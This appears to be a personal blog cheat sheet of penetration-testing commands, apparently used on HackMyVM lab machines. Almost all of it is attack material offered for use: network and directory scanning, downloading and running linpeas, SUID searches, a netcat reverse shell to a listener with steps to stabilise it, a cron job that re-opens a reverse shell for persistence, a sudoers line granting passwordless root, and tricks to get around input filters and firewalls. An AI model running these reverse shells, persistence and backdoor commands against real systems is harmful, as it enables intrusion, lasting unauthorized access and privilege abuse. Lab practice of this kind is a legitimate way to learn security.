My Useful commands

Just my Cheatsheet for commands


Find host

nmap -sP 10.0.0.10/25

sudo netdiscover -r 10.0.0.0/24

Scan

nmap -v -T4 -p- -sC -sV -oN nmap.out 10.0.0.20

sudo nmap -sC -sV -O -p- -oN nmap.out 10.0.0.20

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -u http://10.0.0.24/ -x html,php,txt,jpg -o dir-medium.txt --no-error


Exploting

wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh

sh ./linpeas.sh|tee linp.log  


getcap -r / 2>/dev/null 


find / -perm -4000 -exec ls -al {} \; 2>/dev/null   


find . -name <user> 2>/dev/null

find . -group <user> 2>/dev/null




#Catch on Kali
nc -lvp 4444
#Target
nc -e /bin/sh 10.0.3.4 4444
#Stabilise Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
<ctrl + z>
stty raw -echo;fg
reset

Crontab to maintain access if needed.

echo "#!/bin/bash">/dev/shm/test.sh
echo "nc -e /bin/bash 10.0.0.10 9999">>/dev/shm/test.sh
chmod 777 /dev/shm/test.sh
echo "* * * * * /dev/shm/test.sh"|crontab -

sudo

  echo "user ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/user


Break line into words: tr ' ' '\n' < file
Remove blank lines: sed -i '/^$/d' file.txt
remove trailing whitespace: sed -i 's/[ \t]*$//' "$1"
Space when you cant use a space: ${IFS} or $IFS

Zone transfer DNS
dig axfr hostname.hmv @10.0.0.100



Bypass IPTables with IPv6


Comments

Popular posts from this blog

Zeug - HackMyVM

Espo - HackMyVM

HackMyVM - Comingsoon